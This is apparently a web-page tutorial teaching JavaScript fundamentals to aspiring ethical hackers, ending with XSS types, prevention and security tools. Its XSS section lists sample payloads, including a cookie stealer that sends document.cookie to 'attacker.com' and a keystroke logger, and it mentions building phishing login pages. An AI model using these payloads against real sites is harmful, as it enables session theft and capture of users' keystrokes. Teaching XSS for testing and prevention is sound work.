01 · INTRODUCTION

🟨 What Is JavaScript?

JavaScript is the programming language of the web. Created by Brendan Eich in 1995 at Netscape in just 10 days, it has grown to become the most widely-used programming language in the world. Every website you visit runs JavaScript in your browser — from Gmail to YouTube to Twitter.

But JavaScript isn't just for browsers anymore. With Node.js, you can run JavaScript on servers. With Electron, you can build desktop apps (VS Code, Discord). With React Native, you can build mobile apps. JS is truly everywhere.

For ethical hackers, JavaScript is essential knowledge. The majority of modern web applications rely on JS, and understanding it is critical for finding vulnerabilities like XSS, CSRF, prototype pollution, and client-side logic flaws. If you want to hack web apps, you must know JavaScript.

💡 Note: JavaScript is NOT Java. They're completely different languages. Don't confuse them! JavaScript runs in browsers; Java runs on the JVM.
02 · WHY JS FOR HACKERS

💡 Why Ethical Hackers Learn JavaScript

Whether you're doing bug bounties, web app pentesting, or building custom tooling, JavaScript is a superpower. Here's why:

🕸️

XSS Attacks

Cross-Site Scripting is the #1 web vulnerability. You can't find XSS without understanding JS.

🔍

Client-Side Analysis

Read minified JS to find hidden APIs, keys, and business logic flaws.

🎯

Bug Bounty Recon

Hunt for exposed endpoints, tokens, and sensitive data in JS files.

⚡

Browser Exploitation

BeEF (Browser Exploitation Framework) hooks and controls browsers via JS.

🔧

Custom Tooling

Write browser extensions, userscripts, and automation tools.

🌐

Node.js Backends

Hack Node.js servers — prototype pollution, RCE, and SSRF.

🔑 Key Insight: Modern web apps are 80% JavaScript. If you can't read JS, you're blind to 80% of the attack surface.
03 · FUNDAMENTALS

📚 JavaScript Fundamentals

Your First JS Program

// hello.js — your first JavaScript console.log("Hello, Ethical Hacker!"); alert("Welcome to JS"); // in browser

Variables — let, const, var

let target = "192.168.1.1"; // modern, block-scoped const PORT = 22; // cannot be reassigned var oldStyle = "legacy"; // avoid — function-scoped // Template literals (backticks) console.log(`Scanning ${target}:${PORT}`);
💡 Rule of Thumb: Use const by default. Use let when you need to reassign. Never use var.

Operators

OperatorMeaningExample
+ - * /Arithmetic5 + 3 = 8
%Modulus5 % 3 = 2
**Exponent2 ** 8 = 256
===Strict equal5 === "5" → false
==Loose equal (avoid!)5 == "5" → true
&&Logical ANDtrue && false → false
||Logical ORtrue || false → true
??Nullish coalescingnull ?? "default" → "default"
?.Optional chainingobj?.name
04 · DATA TYPES

📦 Data Types & Structures

Primitive Types

let name = "Hacker"; // String let port = 22; // Number let isOpen = true; // Boolean let nothing = null; // Null let undef; // Undefined let big = 9007199254740991n; // BigInt let sym = Symbol("id"); // Symbol

Arrays

const ports = [21, 22, 80, 443]; ports.push(8080); // Add to end ports.pop(); // Remove last ports.includes(22); // true ports.length; // 4 // Powerful array methods const doubled = ports.map(p => p * 2); const low = ports.filter(p => p < 1000); const sum = ports.reduce((a, b) => a + b, 0);

Objects

const target = { ip: "192.168.1.1", port: 22, os: "Linux", scan() { console.log(`Scanning ${this.ip}`); } }; target.scan(); console.log(target.ip); // Destructuring const { ip, port } = target; console.log(ip, port); // Spread operator const updated = { ...target, port: 443 };
05 · CONTROL FLOW

🔀 Control Flow

Conditionals

const port = 443; if (port === 22) { console.log("SSH"); } else if (port === 80) { console.log("HTTP"); } else { console.log("Unknown"); } // Ternary — one-liner if/else const status = port === 443 ? "secure" : "insecure"; // Switch switch (port) { case 22: console.log("SSH"); break; case 80: case 443: console.log("Web"); break; default: console.log("Unknown"); }

Loops

// Classic for for (let i = 0; i < 5; i++) { console.log(i); } // for...of (arrays) for (const port of [22, 80, 443]) { console.log(port); } // for...in (object keys) for (const key in { a: 1, b: 2 }) { console.log(key); } // while let n = 0; while (n < 5) { console.log(n++); }
06 · FUNCTIONS & SCOPE

🧩 Functions & Scope

Function Types

// Function declaration function scanPort(host, port) { return `Scanning ${host}:${port}`; } // Function expression const scanPort = function(host, port) { return `Scanning ${host}:${port}`; }; // Arrow function (ES6) — most common today const scanPort = (host, port) => `Scanning ${host}:${port}`; // Arrow with block body const scanPort = (host, port) => { console.log("Starting scan..."); return `${host}:${port}`; };

Default & Rest Parameters

function brute(target, port = 22, ...wordlist) { console.log(`Target: ${target}, Port: ${port}`); wordlist.forEach(w => console.log(w)); } brute("10.0.0.1", 21, "admin", "root", "test");

Closures — Powerful for Hacking

function makeCounter() { let count = 0; return () => ++count; } const counter = makeCounter(); counter(); // 1 counter(); // 2
07 · DOM MANIPULATION

🌐 DOM Manipulation & Browser APIs

The DOM (Document Object Model) is the tree representation of an HTML page. JavaScript can read and modify it dynamically — this is how web apps work.

Selecting Elements

// Modern methods (preferred) const el = document.querySelector("#login"); const all = document.querySelectorAll(".btn"); // Old methods document.getElementById("login"); document.getElementsByClassName("btn"); document.getElementsByTagName("a");

Modifying the DOM

const el = document.querySelector("#output"); el.textContent = "Hacked!"; el.innerHTML = "<b>Bold</b>"; // XSS risk! el.style.color = "red"; el.classList.add("active"); el.setAttribute("data-id", "123");

Events

const btn = document.querySelector("#hack"); btn.addEventListener("click", (e) => { e.preventDefault(); console.log("Clicked!"); }); // Common events: click, submit, keydown, mouseover, load

Fetch API — HTTP Requests

// Modern HTTP request fetch("https://api.target.com/users") .then(res => res.json()) .then(data => console.log(data)) .catch(err => console.error(err)); // POST request fetch("/login", { method: "POST", headers: { "Content-Type": "application/json" }, body: JSON.stringify({ user: "admin", pass: "test" }) });
08 · ASYNC JAVASCRIPT

⚡ Async JavaScript — Promises & Async/Await

Promises

const scan = (host) => { return new Promise((resolve, reject) => { setTimeout(() => { if (host) resolve(`${host} scanned`); else reject("No host"); }, 1000); }); }; scan("192.168.1.1") .then(r => console.log(r)) .catch(e => console.error(e));

Async / Await (Modern)

async function scanAll(hosts) { for (const host of hosts) { try { const result = await scan(host); console.log(result); } catch (err) { console.error(err); } } } scanAll(["10.0.0.1", "10.0.0.2"]);
💡 Pro Tip: async/await is just syntactic sugar over Promises. It makes asynchronous code look synchronous, which is much easier to read and debug.
09 · ES6+ FEATURES

✨ Modern JavaScript (ES6+)

Destructuring

// Object destructuring const { ip, port, os = "Linux" } = target; // Array destructuring const [first, second, ...rest] = [1, 2, 3, 4]; // Function parameter destructuring function scan({ ip, port }) { console.log(`${ip}:${port}`); }

Spread & Rest Operators

// Spread — expand const allPorts = [...ports1, ...ports2]; const clone = { ...original }; // Rest — collect function logAll(...args) { args.forEach(a => console.log(a)); }

Classes

class Target { constructor(ip, port) { this.ip = ip; this.port = port; } scan() { console.log(`Scanning ${this.ip}:${this.port}`); } static create(ip) { return new Target(ip, 22); } } class WebTarget extends Target { constructor(ip, domain) { super(ip, 443); this.domain = domain; } }

Modules (ES Modules)

// utils.js export const scanPort = (host, port) => { ... }; export default function main() { ... } // app.js import main, { scanPort } from "./utils.js";

Optional Chaining & Nullish Coalescing

const user = { profile: { name: "admin" } }; // Optional chaining — no error if profile is undefined console.log(user?.profile?.name); // "admin" console.log(user?.settings?.theme); // undefined (no crash) // Nullish coalescing — only null/undefined trigger default const port = user?.port ?? 22;
10 · XSS & WEB SECURITY

💥 XSS & JavaScript Security

Cross-Site Scripting (XSS) is the #1 web vulnerability. It occurs when an attacker injects malicious JavaScript into a page that other users view. Understanding JS is essential for both finding and preventing XSS.

The Three Types of XSS

💾

Stored XSS

Payload is saved on the server (database) and served to every visitor. Most dangerous.

🔄

Reflected XSS

Payload is in the URL and reflected back in the response. Requires victim to click a link.

🌐

DOM-Based XSS

Payload is processed entirely in the browser via JS. No server involvement.

Common XSS Payloads

// Classic script injection <script>alert(1)</script> // Image onerror <img src=x onerror=alert(1)> // SVG payload <svg onload=alert(1)> // Cookie stealer (classic) <script>fetch("https://attacker.com?c=" + document.cookie)</script> // Keylogger <script>document.onkeypress = e => fetch("/log?k=" + e.key)</script>
⚠️ Legal Warning: Testing XSS on systems you don't own is illegal. Only test on systems you own, have permission for, or in legal bug bounty programs (HackerOne, Bugcrowd).

Preventing XSS

// ❌ DANGEROUS el.innerHTML = userInput; // ✅ SAFE — use textContent el.textContent = userInput; // ✅ Or sanitize with DOMPurify el.innerHTML = DOMPurify.sanitize(userInput); // ✅ Escape HTML entities function escapeHtml(str) { const map = { "&": "&amp;", "<": "&lt;", ">": "&gt;", '"': "&quot;" }; return str.replace(/[&<>"]/g, m => map[m]); }
11 · HACKING TOOLS

🔧 JavaScript Security Tools

🌐

BeEF

Browser Exploitation Framework — hooks browsers via XSS and runs client-side attacks.

🔍

LinkFinder

Extract endpoints and URLs from JavaScript files during recon.

📜

JSFScan

Scan JS files for secrets, endpoints, and sensitive data.

🕷️

XSStrike

Advanced XSS detection suite with fuzzing and payload generation.

🔎

SubJS

Fetch JS files from a list of subdomains for analysis.

🛠️

Retire.js

Scan for outdated JS libraries with known vulnerabilities.

📖

JSLuice

Extract URLs, paths, secrets, and more from JavaScript files.

🎯

DOM Invader

Burp Suite extension for finding DOM-based XSS and prototype pollution.

12 · USE CASES

🎯 JS in Bug Bounties & Pentests

🔍

JS File Analysis

Download all .js files and grep for API keys, endpoints, and hidden paths.

🕸️

XSS Hunting

Find and exploit reflected, stored, and DOM-based XSS vulnerabilities.

🔓

Client-Side Auth Bypass

Bypass login screens, admin checks, and paywalls enforced only in JS.

🌐

API Discovery

Extract hidden API endpoints from JavaScript bundles.

🎣

Phishing Pages

Build realistic login pages with JavaScript for social engineering tests.

🔧

Browser Extensions

Write custom extensions for automating web testing workflows.

13 · BEST PRACTICES

✅ JavaScript Best Practices

  1. Use const and let — Never use var in modern code.
  2. Use === over == — Strict equality avoids type coercion bugs.
  3. Prefer arrow functions — Cleaner syntax and lexical this.
  4. Use async/await — Avoid callback hell and nested .then() chains.
  5. Destructure objects — Cleaner code: const { ip, port } = target;.
  6. Use template literals — Backticks for string interpolation.
  7. Never use innerHTML with user input — Use textContent or DOMPurify.
  8. Validate and sanitize input — Both client-side and server-side.
  9. Use ESLint — Lint your code to catch bugs early.
  10. Follow the Airbnb Style Guide — The most popular JS style guide.
💡 Pro Tip: Install ESLint and Prettier in your editor. They'll catch bugs and format your code automatically, making you a faster and better developer.
15 · CONCLUSION

🎓 Final Thoughts

JavaScript is the language of the web — and by extension, the language of web security. If you want to be a serious bug bounty hunter, web pentester, or security researcher, you must understand JavaScript deeply.

From finding XSS to reverse-engineering minified bundles, from writing browser extensions to exploiting client-side logic flaws — JavaScript is your gateway to the modern attack surface.

The journey follows a clear path:

  1. Learn JS syntax — variables, functions, arrays, objects.
  2. Master the DOM — querySelector, events, fetch.
  3. Understand async — Promises, async/await.
  4. Study XSS — payloads, contexts, bypasses.
  5. Analyze real JS — read minified bundles on bug bounty targets.
  6. Practice on PortSwigger — free, legal, world-class labs.
🚀 Next Steps: Open your browser's DevTools (F12), go to the Console tab, and start experimenting. Then head to PortSwigger Web Academy and complete the XSS labs. Within weeks, you'll see the web differently.

Happy hacking — ethically. 🟨